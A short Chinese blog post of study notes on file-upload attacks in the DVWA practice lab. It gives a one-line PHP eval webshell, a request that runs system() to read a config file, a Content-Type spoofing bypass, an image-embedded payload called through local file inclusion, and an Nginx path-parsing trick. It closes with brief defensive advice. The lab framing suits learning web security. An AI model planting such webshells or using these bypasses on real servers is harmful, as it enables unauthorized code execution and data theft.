文件上传-笔记

 网站常见功能,例如:上传头像
 
LOW
图片
上传成功phpinfo.php可访问执行 http://192.168.3.88/dvwa/hackable/uploads/phpinfo.php
 
漏洞利用:以PHP为例,可上传一句话webshell
cmd.php
<?php
@eval($_GET['cmd']);
?>
 
可用来执行各种php函数、命令。例如:
http://192.168.3.88/dvwa/hackable/uploads/cmd.php?cmd=system('type c:\\phpstudy\\www\\dvwa\\php.ini');
 
medium.
上传非图片文件时通过改包修改发送的post请求包中的 Content-Type:  image/jpeg 即可
 
high
我们尝试后发现服务器会对我们上传的文件的文件后缀、文件类型、文件内容进行验证。
使用dos命令制作内含图,把我们想要执行的文件与正常的图片合并。
copy test.jpg/b+ phpinfo.txt/a phpinfo.jpg
 
利用本地文件包含漏洞进行调用执行
http://192.168.3.88/dvwa/vulnerabilities/fi/?page=file:///C:\phpStudy\WWW\DVWA\hackable\uploads\cmd.jpg
 
利用 Nginx解析漏洞 使用phpstudy模拟测试环境 查看php-ini配置文件中 cgi.fix_pathinfo=1 是否为1 如是则存在畸形解析
xxx.xxx/xxx.php  前一个文件存在的话会当成是php文件进行解析
 
防护:
对用户上传的图片压缩重新生成、文件重命名、存储目录权限设置、存储目录与网站分离
 
 

posted on 2017-05-21 12:39  武诚治  阅读(212)  评论(0编辑  收藏  举报

导航